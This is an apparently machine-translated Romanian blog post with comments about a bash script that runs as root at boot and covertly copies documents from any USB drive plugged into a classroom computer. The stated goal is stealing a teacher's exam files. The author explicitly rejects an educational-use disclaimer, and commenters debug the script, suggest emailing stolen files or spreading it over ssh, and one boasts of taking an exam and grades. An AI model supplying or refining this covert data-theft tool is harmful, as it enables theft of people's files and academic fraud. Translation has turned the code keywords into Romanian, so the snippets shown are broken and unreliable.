Script pentru a spiona conținutul dispozitivelor USB și a-l copia pe computer

Am fost mereu un student neliniştit, mereu dorind să profit de oportunităţi ca... de exemplu, copierea examenelor semestriale de pe pendrive-ul profesorului sau ceva de genul ăsta. Când studiam la liceu (specializarea în informatică) am vrut să programez „ceva” care să facă următoarele:

  1. Detectați când un dispozitiv USB este conectat la computerul de la clasă
  2. Copiați tot conținutul de pe acel dispozitiv pe computer

Asta mi-ar permite sa fac examenul mult mai devreme, ar fi nevoie doar ca profesorul sa-si conecteze memoria USB (pendrive) la calculator si gata.

Din păcate, la școala mea computerele aveau Windows și... niciodată și niciodată nu am învățat să programez pentru acest sistem de operare.

Totuși, acum folosesc Linux (evident că nu? LOL!), și cu cunoștințele pe care le-am putut dobândi în acești ani, acum DA! Pot realiza deja acest lucru cu Linux 😀

Adică am programat un script simplu care face următoarele:

1. Creați folderul /home/.USBDRIVES/
2. Se verifică la fiecare 5 secunde pentru a vedea dacă există un dispozitiv USB (sau CD/DVD) conectat la computer.
3. Dacă unul este conectat, va crea un folder în /home/.USBDRIVES/ cu numele USB (de exemplu: memorie-2gb) și, de asemenea, va copia toate fișierele .doc, .pdf etc. (aici este lista) în acest folder pe care tocmai l-ați creat.
4. În cazul în care nu este conectat USB, va aștepta pur și simplu 5 secunde pentru a reporni verificarea pe care am explicat-o mai sus 😀

Aici las scriptul si fisierul care contine formatele ce vor fi copiate:

Descărcați USB-Spy.zip
Scriptul trebuie să fie executat ca root, astfel încât funcționarea lui să nu fie limitată. Aici explic cum se poate realiza acest lucru

Pentru ca scriptul să poată funcționa fără probleme, cel mai bine este să fie pornit cu privilegii administrative (root), deoarece este evident că trebuie pornit lângă computer, astfel ne asigurăm că dacă computerul este repornit sau oprit, când porniți din nou scriptul, acesta va fi acolo funcționând, gata să extragem ceea ce vrem de pe orice USB 😉

Vom deschide un terminal... odată deschis...

1. Să presupunem că avem ambele fișiere în / opt / (/opt/usb-spy.sh y /opt/usb-spy.files), trebuie să îi acordăm privilegii de execuție:

sudo chmod +x /opt/usb-spy.sh

2. Deschidem fișierul /etc/rc.local :

sudo nano /etc/rc.local

3. În ea scriem deasupra liniei finale (iesirea 0) urmatorul:

/opt/usb-spy.sh &

4. Acum apăsăm [Ctrl]+[X] pentru a salva și a ieși din fișier, apăsăm [S] sau [Y] (în funcție de limba sistemului) și apoi [Enter]. Acest lucru va fi suficient pentru ca modificările pe care le-am făcut să fie salvate.

Și voila, acest lucru va fi suficient pentru ca scriptul să pornească ca root atunci când pornim computerul.

Este important să verificați dacă fișierul usb-spy.files se află în același director cu usb-spy.sh ????

Acum... voi explica puțin despre funcționarea internă a scenariului, deoarece știu că sunt mulți iubitori de Bash pe aici 😀

Q: De unde știe scriptul că un dispozitiv USB este conectat?
R: În fișierul /etc/mtab al sistemului nostru se află dispozitivele sau partițiile care sunt montate pe sistemul nostru. Prin linia 23 a scriptului se știe dacă un USB este conectat sau nu (făcând cat la mtab și grep media)
Î: Da, dar Cum știe scriptul dacă pisica și grep ne returnează date sau nu?
A: Prin a dacă, atunci, else buclă care începe pe linia 24.
Q: Cum să-l faci să copieze numai fișierele cu extensiile dorite? (.doc, .pdf etc.)
R: Folosind rsync cu mai mulți parametri, acesta este pe linia 34. Explicat simplu, cu rsync copiez doar fișierele care se potrivesc cu filtrul usb-spy.files, fiecare linie este un filtru ca să spunem așa. trec si parametrul --prune-empty-dirs să rsync astfel încât să nu creeze directoare goale.
Apropo ceva important. Dacă conectezi un dispozitiv USB de 8GB (de exemplu) totul funcționează corect, dar am observat că dacă conectezi un dispozitiv cu o capacitate mult mai mare, precum 500GB sau 1TB, procesul de căutare a fișierelor .doc și etc. pentru a le copia. la computer a durat ceva timp, mult timp, așa că am stabilit o limită GB. Adică pe linia 31 declar că dacă dispozitivul USB este mai mic de 16GB, atunci căutați fișierele și copiați-le, dar dacă este mai mare de 16GB atunci nu faceți nimic. Dacă doriți să creșteți cei 16 GB la 32 GB, creșteți doar acel număr pe linia 31

Nu sunt multe de explicat, scenariul este foarte simplu de înțeles :)

Dacă cineva are îndoieli, întrebări, reclamații, idei sau sugestii, vă rog să-mi spuneți și promit să vă ajut în orice fel.

Și ei bine, mă gândeam să pun ceva de genul: «Acest script este doar în scopuri educaționale, nu îl utilizați cu fișiere dăunătoare» … dar… ce naiba!, folosește-l pentru ce vrei, e timpul ca noi, elevii, să avem un fel de avantaj împotriva profesorilor care ne asupresc 😀

În ceea ce priveşte

Mai multe îmbunătățiri pot fi aduse în continuare scenariului, dar hei, acesta este un început bun cred, dacă cineva se simte motivat să contribuie la această cauză „nobilă” va fi o plăcere 😀

Lasă comentariul tău

Adresa ta de email nu va fi publicată. Câmpurile obligatorii sunt marcate cu *

*

*

  1. Responsabil pentru date: Miguel Ángel Gatón
  2. Scopul datelor: Control SPAM, gestionarea comentariilor.
  3. Legitimare: consimțământul dvs.
  4. Comunicarea datelor: datele nu vor fi comunicate terților decât prin obligație legală.
  5. Stocarea datelor: bază de date găzduită de Occentus Networks (UE)
  6. Drepturi: în orice moment vă puteți limita, recupera și șterge informațiile.

  1.   plin de viață el a spus

    Trișor ¬¬

    XDDDD

    1.    KZKG ^ Gaara el a spus

      Nu, deloc... Sunt sigur că te-ai gândit la un moment dat să faci așa ceva... HAHAHA.

      1.    Ivan Molina el a spus

        M-ai salvat de la un examen surpriză 😀 … Acum „KZKG^Gaara” al tău Tu ești zeul meu... Să te laud!

    2.    facundo el a spus

      Buna ziua, foarte bun script, dar in mega fisierul nu mai exista, puteti sa-mi trimiteti pe email, va rog

  2.   Oscar el a spus

    Linux este 1% și spui că nu ai învățat niciodată să programezi pentru Windows așa că tutorialul este pentru un sistem Linux, întrebarea mea este: care este posibilitatea de a găsi un profesor care să folosească Linux pentru a putea realiza tutorialul?

    1.    KZKG ^ Gaara el a spus

      Acest script sau truc este „implementat” pe un computer care nu trebuie să fie neapărat computerul personal sau propriu al profesorului, trebuie doar să fie orice computer dintr-o Universitate sau Școală, atunci singurul lucru care mai rămâne de făcut este să realizezi pentru X sau Y motiv pentru care profesorul vă conectează USB la acel computer.

      Da, este pentru Linux, dar multe universități au Linux ca sistem în laboratoarele de calculatoare și poți să pornești și cu un LiveCD și nu neapărat să instalezi Linux pe PC :)

      În ceea ce privește chestia cu 1%, vă recomand să citiți această postare: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

    2.    Hyuuga_Neji el a spus

      Posibilitatea ca un meteorit gigant să cadă peste Atlantic în aproximativ 30 de minute

  3.   Tachina el a spus

    Pare interesant, va trebui să încercăm.
    Mulţumiri

    1.    KZKG ^ Gaara el a spus

      Utilitatea sa nu este mare lucru, dar scriptul în sine este interesant... pentru că puteți afla mai multe sfaturi din el, de exemplu cum să cunoașteți USB-urile conectate, dimensiunea partiției etc. 🙂

  4.   cr0t0 el a spus

    Un articol original si foarte bine explicat KZKG^Gaara. Salutari!

    1.    KZKG ^ Gaara el a spus

      Mulțumesc

  5.   Oscar el a spus

    Ce indrazneala!!!, si indraznesti sa o scrii pe blogul OO, nu stiu ce sa cred, s-ar putea ca Gaara sa fi fost spart de cineva care nu-l vrea bine?

    1.    KZKG ^ Gaara el a spus

      obrăznicie? deoarece?
      Deși scopul sau motivul scenariului poate să nu fie la fel de serios ca restul contribuțiilor mele, scenariul, liniile sale și logica de programare au mult de contribuit, cred.

      Din acest script pot fi folosite mai multe lucruri:
      1. Cum se cunoaște dimensiunea unei partiții și ca aceasta să fie o variabilă.
      2. Cum să verificați dacă există un USB conectat și să extrageți calea și numele acestuia.
      3. If-then-else și while bucle.

      Oricum, nu cred că este ceva complet inutil sau ceva de genul ăsta.

      1.    Oscar el a spus

        Cred că ai interpretat greșit comentariul meu, mă refer la începutul articolului tău,
        „Întotdeauna am fost un student neliniştit, mereu dorind să profit de oportunităţi precum... de exemplu, copierea examenelor semestriale din pendrive-ul profesorului sau ceva de genul ăsta”. Dacă te-a deranjat ceea ce am spus, sper că mă vei ierta, nu a fost intenția mea.

        1.    Blaire pascal el a spus

          oO ce blog excelent, articole bune, cititori buni, utilizatorii își cer scuze… este un paradis hehehe fără troli.

          1.    KZKG ^ Gaara el a spus

            Mulţumiri ^ - ^
            Suntem mândri de ceea ce am realizat până acum, această comunitate este cu adevărat o sursă de mândrie… este grozav să faci parte din toate acestea 😀

        2.    KZKG ^ Gaara el a spus

          Nu, nu, deloc, de fapt nu m-am deranjat deloc xD
          Și da hehe a fost greșeala mea că am înțeles greșit comentariul tău hehehe, scuze pentru asta 😉

          Nimic decat scuze vin de la mine acum, va trebui sa ma spal pe fata sa vad daca termin de trezit... din ce vad inca nu sunt la 100% HAHAHA.

          Salutări prietene 🙂

        3.    Oscar el a spus

          O persoana foarte buna xD

  6.   neomit el a spus

    Mi-ar plăcea ca computerele de la facultate să aibă Linux muhahahaha.

  7.   GGGG1234 el a spus

    Bun articol!
    Dar pentru cei care vor să-l imite în Windows, le va fi mai ușor, deoarece acolo unde pe mașină doriți să-l utilizați nu aveți acces root, nu îl puteți lăsa „pentru totdeauna”. Cu Windows asta nu se întâmplă 😉

  8.   Blaire pascal el a spus

    Foarte bine hehe.

  9.   Hyuuga_Neji el a spus

    Ideea este bună, are doar slăbiciunea de a trebui să folosească privilegiile Root

    1.    KZKG ^ Gaara el a spus

      Ei bine, de fapt nu trebuie să fii root ca atare... dacă declari scriptului că folderul NU va fi /home/.USBDRIVES așa cum l-am spus eu și îl pui de exemplu: /home/user/ .USBDRIVES... atunci rularea scriptului cu „utilizator” va fi suficient 😀

  10.   Emilio el a spus

    Este o idee bună, dar cred că te-ai scuti de a modifica rc.local și de a-l rula în fiecare minut folosind crontab, și astfel eviți problema de a-l rula ca root și restul. Pe de altă parte, deși nu face asta afecteaza mult, consumi memoria PC inutil.la fiecare 5 secunde pentru a verifica daca USB-ul este prezent, chiar si atunci cand nu este. Ei bine, acesta este punctul meu de vedere

    1.    KZKG ^ Gaara el a spus

      Adică faceți o verificare la fiecare minut, nu? Nu am făcut-o așa pentru că... ce se întâmplă dacă un USB este conectat și deconectat în mai puțin de 1 minut? 😀

      Am preferat să o fac la fiecare 5 secunde pentru a mă asigura că am „capturat” cu adevărat toate USB-urile 😉

      Daca te-am inteles gresit te rog corecteaza-ma :)

      Salutări și bun venit.

      1.    Emilio el a spus

        Da, verificați în fiecare minut prin cron, dar ei bine, toată lumea are un mod diferit de a privi problema, doar privind codul, nu ar fi mai bine să verificați dacă folderul /home/.USBDRIVES există deja înainte creând-o? , este doar o sugestie

        În ceea ce priveşte

        1.    KZKG ^ Gaara el a spus

          Si da, este un detaliu pe care l-am observat dar... mi-a fost prea lene sa-l rezolv LOL!

          De asemenea, puteți pune un jurnal care să arate fișierele care au fost copiate (jurnal individual pentru fiecare dispozitiv), poate chiar să trimiteți acest jurnal prin e-mail (folosind o metodă de trimitere a e-mailului prin terminal pe care am pus-o aici pe site)... dar ca și mine ți-am spus, sunt puțin leneș ^-^U

  11.   pavloco el a spus

    Hahaha grozav.

  12.   hexborg el a spus

    AHA! Cu alte cuvinte, software-ul tău poate fi folosit pentru rău. Hahaha!!! 🙂

    Trucul este bun, dar... ce se întâmplă dacă doriți să demontați USB-ul înainte ca scriptul să termine de copiat conținutul acestuia? În acest caz, se va plânge că este în uz și veți observa că ceva este ciudat. 🙂

    1.    KZKG ^ Gaara el a spus

      În realitate, sistemul nu va permite scoaterea USB-ului pentru că „ceva” îl va folosi 😉

      1.    hexborg el a spus

        Corect! Și atunci profesorul lui Oscar crede că a găsit un virus pentru Linux. Hahaha!! 🙂

  13.   Oscar el a spus

    M-ai făcut să-mi amintesc o dată când am făcut ceva asemănător (la Uni am avut Linux/Windows), dar am făcut un program C care a generat mii de foldere. Am conectat USB-ul la un tip care l-a conectat. Responsabilul centrului de calculatoare a rămas uimit! El a crezut că a găsit un virus în linuxx muahahahaha... ahhh... ce timp erau acelea =)

    1.    Miguel el a spus

      Și care este diferența cu un virus?

      1.    Oscar el a spus

        Că i-am accesat USB-ul de la distanță și am rulat programul 😛

        1.    Miguel el a spus

          hahahaha, deci a fost un hack XD

    2.    KZKG ^ Gaara el a spus

      ????
      hehehehehe deci ai gasit un virus in Linux nu? … LAUGH OUT LOUD!!

  14.   semproms el a spus

    Nu prea merge la mine xD, daca incerc sa il rulez din terminal imi spune asa: ./usb-spy.sh: line 31: [: -lt: operator unary se astepta
    Se pare că există ceva în neregulă cu această linie: if [ $USBSIZE -lt 15664800 ]; apoi
    Dar nu știu care este, pentru că nu creează și directorul .USB.

    Dacă se poate rezolva, poate fi un script util pentru mine.

    1.    hexborg el a spus

      Încercați să înlocuiți df cu /bin/df și asigurați-vă că îl lansați ca root.

      1.    semproms el a spus

        Ok, acum creează folderul .USB în directorul de acasă, dar îmi tot spune în terminal că: „./usb-spy.sh: line 31: [: -lt: operator unary waited” și nu nu copiați nimic, trebuie să existe un conflict în acea linie, apreciez ajutorul dacă îl vede cineva.
        Mulţumesc mult.

        1.    hexborg el a spus

          Ne puteți oferi conținutul fișierului dvs. /etc/mtab când USB-ul este montat?

          1.    semproms el a spus

            Sigur, aici merge:

            /dev/sda12 / ext4 rw,errors=remount-ro 0 0
            proc /proc proc rw,noexec,nosuid,nodev 0 0
            sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0
            niciunul /sys/fs/fuse/connections fusectl rw 0 0
            niciunul /sys/kernel/debug debugfs rw 0 0
            niciunul /sys/kernel/security securityfs rw 0 0
            udev /dev devtmpfs rw,mode=0755 0 0
            devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=0620 0 0
            tmpfs /run tmpfs rw,noexec,nosuid,size=10%,mode=0755 0 0
            nici unul /run/lock tmpfs rw,noexec,nosuid,nodev,size=5242880 0 0
            niciunul /run/shm tmpfs rw,nosuid,nodev 0 0
            binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,noexec,nosuid,nodev 0 0
            /dev/sdb1 /media/DOCU403 vfat rw,nosuid,nodev,uid=1000,gid=1000,shortname=m$

            Ultimele linii sunt cele ale USB-ului montat /dev/sdb1

          2.    hexborg el a spus

            Să vedem dacă l-am prins. 🙂

            Dă-ne rezultatul comenzii df. Și încercați să adăugați linia:

            echo $USBSIZE

            Chiar înainte de dacă asta dă problema și spune-ne ce iese la lansarea scriptului. Ar trebui să arate cam așa:

            USBSIZE=`/bin/df | grep $USBDEV | awk {'print $2'}`
            echo $USBSIZE
            dacă [ $USBSIZE -lt 15664800 ]; apoi

            Și pentru orice eventualitate, spuneți-ne și care este rezultatul comenzii which df.

            1.    semproms el a spus

              Ok, în unele părți, comanda df returnează:

              Sistem de fișiere 1K-blocuri Utilizat Disponibil Utilizare% Montat pe
              /dev/sda12 54082300 45246956 6125892 89% /
              udev 2004028 4 2004024 1% /dev
              tmpfs 805768 1180 804588 1% /run
              niciunul 5120 0 5120 0% /run/lock
              niciunul 2014420 92 2014328 1% /run/shm
              /dev/sdb1 1023200 322256 700944 32%/media/DOCU 3

              Comanda which df returnează: /bin/df

              Apoi, am pus $USBSIZE, iar rezultatul este același, nu tipărește nimic nou, dar eroarea de înainte, amuzant este că asta se întâmplă cu USB-ul pe care îl testez, dacă pun hardul extern de 500GB drive Îmi returnează dimensiunea discului pe ecran, dar 500 depășește 16 din if, prin urmare nu face nimic cu hard disk-ul.

              Dar cu USB nu face nimic decât să afișeze eroarea: ./usb-spy.sh: line 34: [: -lt: operator unary așteptat
              Este ca și cum nu ar putea afișa dimensiunea USB-ului, dar cu comanda df îi primesc dimensiunea.

              Mulțumim pentru ajutor, să vedem dacă îl putem obține!!


            2.    semproms el a spus

              În cazul în care comanda nu arată bine, iată o captură de ecran: http://i48.tinypic.com/j5dvn5.jpg


          3.    hexborg el a spus

            Vad ca in mtab calea in care apare montat este "/media/DOCU403" in timp ce in df apare "/media/DOCU 3". Acest lucru face ca grep să nu-l găsească și să nu returneze dimensiunea. Încercați să schimbați primele rânduri ale for, astfel încât să arate astfel:

            pentru USBD în `cat /etc/mtab | grep media | awk '{print $1}'';
            do
            USBDEV=`cat /etc/mtab | grep $USBD | awk '{print $2}''
            USBSIZE=`/bin/df | grep $USBD | awk {'print $2'}`

            Modificările constau în schimbarea numelui variabilei for în USBD, schimbarea $2 de la sfârșitul liniei for la $1, inserarea liniei care începe cu USBDEV imediat după do și schimbarea USBDEV în USBD pe linia care începe cu USBSIZE … Sper că nu m-am încurcat. 🙂

            Ideea este să faceți pentru după numele dispozitivului în loc de punctul de montare.

            1.    KZKG ^ Gaara el a spus

              Problema a fost că în mtab când un dispozitiv are spații... pune niște caractere „ciudate” pe linie, mai exact în locul spațiului.

              Nimic, la fel de simplu de rezolvat ca schimbarea modului în care este desemnat $USBDEV, pe linia 28 schimbați-l și puneți-l așa:
              for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

              ????


          4.    Atheyus el a spus

            Lasă-mă să văd dacă te pot ajuta...

            Operatorul unar îl arată pentru că nu localizează dimensiunea discului, asta se întâmplă pentru că nu îl verifică, asta se întâmplă pentru că este numit

            DOCU 3

            si il ia ca doua valori, daca ar fi DOCU nu ar pune problema

            Poate că asta va funcționa pentru tine

            http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

            Salutări 🙂

            1.    semproms el a spus

              Intr-adevar asta este problema, pentru ca tocmai am incercat cu alte USB-uri care au un nume cu un cuvant fara spatii, de exemplu "clase" si scriptul functioneaza fara probleme, de aceea a recunoscut hard disk-ul si nu memoriile, dar acum treaba este ca sa stiu cum pun ghilimelele in codul de script, trebuie sa le pun in "$USBNAME"?

              Multe mulțumiri lui Atheyus și Hexborg pentru ajutor, este aproape gata.


          5.    KZKG ^ Gaara el a spus

            de fapt semproms Este super simplu de reparat 😉
            Linia 28... schimbați-l în acesta:
            for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

            Tocmai am testat această modificare și funcționează bine cu dispozitivele a căror etichetă/nume are un spațiu 😉

            Acum voi face modificarea în scriptul de descărcare.

          6.    hexborg el a spus

            Foarte bun. Deci este ușor de reparat. 🙂

  15.   auroszx el a spus

    Ohhh, foarte inteligent 😀 Voi lua notă în caz că am nevoie...

  16.   semproms el a spus

    KZKG^Gaara, cu acel aranjament merge perfect, acum copia USB-ul cu un spatiu in nume, multumesc mult tuturor pentru ajutor, o sa incerc sa vad daca il pot face sa ruleze cu sistemul pornind și astfel verifică fiecare ciclu dacă există un USB conectat.

    Până la urmă am reușit xD.

    1.    KZKG ^ Gaara el a spus

      ^ - ^ ...o plăcere hehe.
      Problema a fost că am folosit mtab pentru a recunoaște USB-urile când aș fi putut pur și simplu să folosesc df... Am folosit mtab pentru că am crezut că ar fi interesant să le explic acest fișier, ca să știe de el, dar nu am prevăzut. că această eroare s-ar întâmpla cu dispozitivele cu spații hehehe.

      Dacă aveți întrebări sau probleme, spuneți-le, aproape tuturor celor de aici le place să vă ajute. xD

      În ceea ce priveşte

    2.    hexborg el a spus

      Desigur. Suntem utilizatori Linux. Întotdeauna reușim. XD.

  17.   Yeretic el a spus

    Instalați un demon pe computerul profesorului care generează o înregistrare a tuturor fișierelor .doc, .docx, .odt, .pdf și vi le trimite pe e-mail. De asemenea, scanați computerul din când în când căutând modificări, fișiere noi sau ștergeri în registrul respectiv și, dacă apar știri, vă trimiteți și fișierul modificat sau nou prin e-mail.

  18.   Yeretic el a spus

    Oricum, cred că mai mult decât o captură, rularea acelui scenariu (ȘI LIKE ROOT!!!!) este sinucidere. Faci viața și lucrurile 700% mai ușoare pentru oricine este interesat să insereze un fișier în computerul tău cu permisiuni root și tot. Amintiți-vă că în Linux nu există extensii și că un .doc în Linux poate fi același cu un text, un videoclip sau și mai rău, un script (de data aceasta cu intenții foarte rele).

    1.    KZKG ^ Gaara el a spus

      Rularea acestuia ca root nu este complet necesară, trebuie doar să definiți folderul în care conținutul va fi plasat undeva unde utilizatorul care îl rulează are permisiuni de scriere (de exemplu, propria dvs. casă) și atât :)

      În ceea ce privește fișierele periculoase... ei bine, ați putea adăuga câteva linii care ar chmod -xa toate fișierele, pierzând astfel proprietatea de execuție.

      1.    semproms el a spus

        Am adăugat aceste rânduri la început pentru a șterge folderul .USBDRIVES în cazul în care a fost deja creat:

        dacă [ -s $PLACE ]
        apoi rm -r $LOC
        fi

        În acest fel, nu va da eroarea „directorul deja existent”, dar trebuie să avem grijă ca în folderul .USBDRIVES să nu fie nimic care să nu dorim să fie șters, pentru că îl va șterge și va pune altul în el. loc.

  19.   Daniel el a spus

    Pentru a adăuga noi formate de fișiere, scrieți-le pe usb-spy? de exemplu .jpg .mp3 etc.

    1.    KZKG ^ Gaara el a spus

      Pentru a adăuga noi tipuri de fișiere, le puneți în usb-spy.files
      Uită-te la conținutul fișierului și vei vedea cum să le adaugi, este destul de simplu 😉

  20.   Wuilmer bolivar el a spus

    Dacă suntem în aceeași rețea, și există o mașină a profesorului, lucrul interesant ar fi să facem o mapare a rețelei, s-ar putea să avem ssh pe mașini și în acest fel să distribuim codul pe mașinile de laborator sau chiar pe mașina profesorului ... . Asta îmi dă atât de multe idei :$

  21.   xyler el a spus

    Salut, te felicit pentru postare si pentru toate contributiile tale, dar am o intrebare, sa vedem daca cineva imi poate rezolva aceasta problema:

    Îți testam scriptul pe un PC cu Ubuntu 12.04LTS (cu Unity) și a funcționat perfect, dar după cum am văzut că nu a reușit să execute acest script după prima oară când a fost executat, deoarece folderul .USBDRIVES era deja creat, Am decis să folosesc direct acest alt script de autor care a fost postat în altă parte pe acest forum

    aici copiez scriptul ca să vă puteți localiza

    #! / Bin / bash
    #
    # - * - CODIFICARE: UTF-8 - * -
    # Acest program este software gratuit. Îl puteți redistribui și/sau
    # modificați-l conform condițiilor Licenței publice generale
    # de GNU publicat de Free Software Foundation,
    # fie versiunea 2 a Licenței menționate sau (în funcție de dvs
    # alegere) a oricărei versiuni ulterioare.
    #
    # Dacă faceți vreo modificare în această aplicație,
    # trebuie să menționeze întotdeauna autorul original al acestuia.
    #
    #Copyleft 2012, DesdeLinux.net {Orașul Havana, Cuba}.
    # Autor: KZKG^Gaara

    WHILE=0

    în timp ce [ $CONTROL=0 ] ; do
    cat /etc/mtab | grep media >> /dev/null
    dacă [$? -ne 0]; atunci
    COUNT=0
    altfel
    COUNT=1
    : ${USBDEV:=`cat /etc/mtab | grep media | awk '{print $2}'`»/»}
    cp $USBDEV/* /home/
    fi
    Dormi 5
    făcut

    iesirea 0

    Subiectul este următorul în ubuntu12.04 lts unity, ultimul script rulează bine și funcționează, dar când fac downgrade pe același computer din motivul „x” și încerc să îl fac să funcționeze în ubuntu 10.10, nu îl pot face să funcționeze
    Pe de o parte, îmi dă o eroare și nu citește pendrive-urile care au un nume compus, de exemplu: DATA-G și nici nu copiază fișierele care au un nume compus. În afară de această problemă, am problema că scriptul este executat doar când PC-ul este repornit o dată.

    Întrebarea ar fi: cum pot face ca acel script să copieze pendrive-urile și fișierele cu nume compuse?
    Și dacă folosesc crontab sau îl pot programa să funcționeze la o anumită oră

    Un alt detaliu, în Ubuntu 10.10, așa cum folosește Gnome, aș dori să adaug câteva comentarii de reținut, atunci când acordați privilegii de execuție unui script, acesta trebuie să fie localizat în /etc/init.d nu în /etc/
    (rețineți că trebuie să-l lipiți acolo venind de la terminal cu sudo nautilus)

    Pe de altă parte, o altă notă ar fi că după ce l-am lipit acolo, pentru a ști dacă se poate executa, trebuie făcut în alt terminal.

    sudo su (a fi root)
    parola

    ls

    cd /etc/ init.d

    ls -l

    și apoi vedem dacă funcționează sau nu.

    apoi in acelasi terminal sau in alt terminal la un alt moment fiind ca root si fiind in etc/init.d (adica pana la pasul cd/etc/init.d) ca in terminalul anterior continuam in felul urmator la da-i permisiuni de executie

    sudo chmod +x script.sh

    actualizare -rc.d script.sh implicit 80

    reporniți

    Repet, adica sa ruleze automat pe Ubuntu 10.10.Daca este o alta versiune ca 12.04, trebuie sa faci ce spune KZKG^Gaara.

    Și o ultimă întrebare, cum mă interesează să copiez conținutul (până la 3 subfoldere ale pendrive-ului) în casă sau într-un folder din acasă care este ascuns sau nu, să presupunem că a fost .USBDRIVES
    în cod nu ar trebui să spună

    cp -r /media/*/*/*/home/.USBDRIVES/*

    Pe scurt, pentru a obține ceea ce vreau, cum ar trebui să arate scenariul?
    Pentru că am încercat deja să modific linia care a fost modificată în usb-spy sh dar aia care înregistrează direct în casă și îmi dă o eroare în linia modificată.? Salutari . Mulțumesc

  22.   Kakashi el a spus

    Nu pot descărca al doilea script

  23.   metalus el a spus

    Foarte bun. 😉

  24.   Kamaleon el a spus

    Dacă nu fac pașii pe care îi dați, ce se întâmplă? Nu rulează sau pur și simplu rulează, dar fără root? Dacă computerele au un sistem care, să zicem, restabilește toată configurația internă a computerului atunci când îl opriți, va funcționa? Mulțumesc.

    1.    KZKG ^ Gaara el a spus

      În cazul în care sistemul are „ceva” care este implicit în folderul /home/, atunci trebuie să modificați scriptul, unde scrie /home/, să îl schimbați în /opt/ sau în alt folder care nu este afectat.

  25.   tulpini el a spus

    Cred că pentru a îmbunătăți script-ul și pentru a preveni intruziunea în pendrive să fie observată, lucrul optim ar fi să prioritizați tipul și dimensiunea fișierului. De exemplu, lăsați până la sfârșit fișiere voluminoase de 100 de megaocteți sau mai mult. Sau mai întâi copiați fișierele doc, docx, txt, pdf, xml, etc etc etc și lăsați fișierele avi, mp4, mkv pentru sfârșit...

  26.   Lucas el a spus

    Bună, aceasta este o idee bună. Am vrut să pun două întrebări:
    – Se poate face invers? faceți un script pentru penderiver, astfel încât să se conecteze la orice mașină și să extragă fișiere.
    – Este pentru sistemul de operare Windows?

    1.    KZKG ^ Gaara el a spus

      Buna,

      Nu sunt sigur cum ați putea face astfel încât atunci când conectați pendrive-ul, pendrive-ul în sine să execute automat un script pe care îl are înăuntru.

      Și nu, acest script nu funcționează pentru Windows :)

      1.    LUCAS el a spus

        Ok, mulțumesc că mi-ai răspuns. Voi investiga cum să o fac.

  27.   Jose Damian Bazaga Ruiz el a spus

    Ce scenariu bun. L-am tot analizat și mi se pare uimitor, sper că într-o zi voi putea face și scenarii atât de practice.

  28.   jose el a spus

    Contribuție excelentă, deși utilizarea pe care o voi da nu este exact pentru care i-ați propus-o, dacă o folosesc pentru a face backup la fișierele unui grup de utilizatori cu comportament prost pe care îl am… hehehehe….

  29.   înbudle el a spus

    Când încerc să-l rulez, îmi dă această eroare linia 31: [: prea multe argumente
    ștergeți acea linie pentru a vedea dacă a funcționat. și se dovedește că este linia care restricționează dimensiunea dispozitivelor.
    Când îl eliminați, copiază ceea ce am pe partițiile mele montate 🙁

  30.   Valoare el a spus

    Bună, sunt nou și știu că oalele sunt vechi, dar mi-a plăcut foarte mult, scenariul tău este foarte educativ

    Mulțumesc pentru împărtășirea și explicarea în detaliu...

    Wave

  31.   doltrox el a spus

    Prietene, m-ai salvat, a trebuit doar să-i distrag atenția profesorului și să introduc USB-ul în laptop și apoi hahaha, examenul trecut și notele tuturor hehehe

    1.    Oetam222 el a spus

      Ați putea să-mi trimiteți scriptul, linkul este mort

    2.    Oetam222 el a spus

      Poți să-mi trimiți script-ul link-ul este mort

  32.   Worm2D2 el a spus

    kzkggaara, ai putea reincarca fisierele? link-urile sunt oprite :/, multumesc mult

  33.   Bastian el a spus

    Poti incarca link-uri te rog?

  34.   Necr0 el a spus

    Hei! unchiule! Ai laudele jos, ai putea să le încarci din nou!
    BINE! :v

  35.   Necr0 el a spus

    Ei bine, fac asta din nou pentru că nu știu dacă ceea ce am vrut să spun a fost încărcat...

    Ei bine, doar că aveți linkuri moarte, le puteți încărca!

  36.   Rlorau el a spus

    Link-urile sunt oprite!!!

  37.   Developer24 el a spus

    Reîncărcați linkurile, vă rog @usemoslinux, cercetez subiectul, mulțumesc!

  38.   anonim el a spus

    Scriptul poate fi descărcat de aici. Cred că e la fel

    https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk

  39.   Juan el a spus

    In regula, atunci….

    Cred din punctul meu de vedere umil că este un articol grozav și dacă sunt oameni care spun că ești un trișor, atunci cred că depinde de scopul în care folosești programul.
    Personal, mi-a plăcut mai mult să cunosc limbajul de programare pentru Linux, deoarece am lucrat doar în Java. Mulțumesc, partenere, mi-ai trezit interesul de a afla mai multe despre limbajul pentru Linux.

    Multumesc.

  40.   HeCocrat. el a spus

    Salut prieteni, am gasit o alta modalitate de a folosi acest script este sa fac un backup, va spun putin, am doua dispozitive, o camera si un HDD. Ce vreau este ca atunci cand inregistrez fisierele sa salvez fisiere locale pe un HDD extern.de la camera la hdd dar imi da o eroare care spune "prea multe argumente" ma puteti ajuta?

  41.   LUIS GERARDO POLANCO VERA el a spus

    Funcționează numai cu dispozitive cu sisteme de operare Linux?

  42.   Testarea el a spus

    Cineva îl reîncarcă, te rog!

  43.   Gazlene el a spus

    Buna ziua, nu am Linux si la scoala mea se folosesc Windows, am folosit aplicatia de captura USB si am copiat doar 5 fisiere din memoria profesorului, banuiesc ca USB are protectie, pentru ca acelasi lucru s-a intamplat in doua ocazii, acolo va fi o altă modalitate de a fura informațiile complete de pe acel USB?

  44.   Zaraki el a spus

    Ei bine, deși spui că codul va fi simplu, pare foarte interesant să vezi că metodele funcționează pentru a vedea dacă este conectat un USB sau dimensiunea partiției. Păcat că au eliminat scriptul de pe mega.nz, ai putea să-l încărcați din nou?

    Salutări și treabă grozavă, simplă dar funcțională chiar și pentru automatizarea copiilor de pe USB!!!

  45.   Pauze el a spus

    Bine!
    Tocmai am dat peste articolul tău de pe blog și sunt foarte interesat. Ce se întâmplă este că atunci când dai clic pe fișierul .zip care te redirecționează către mega, acesta spune că fișierul nu mai este disponibil.
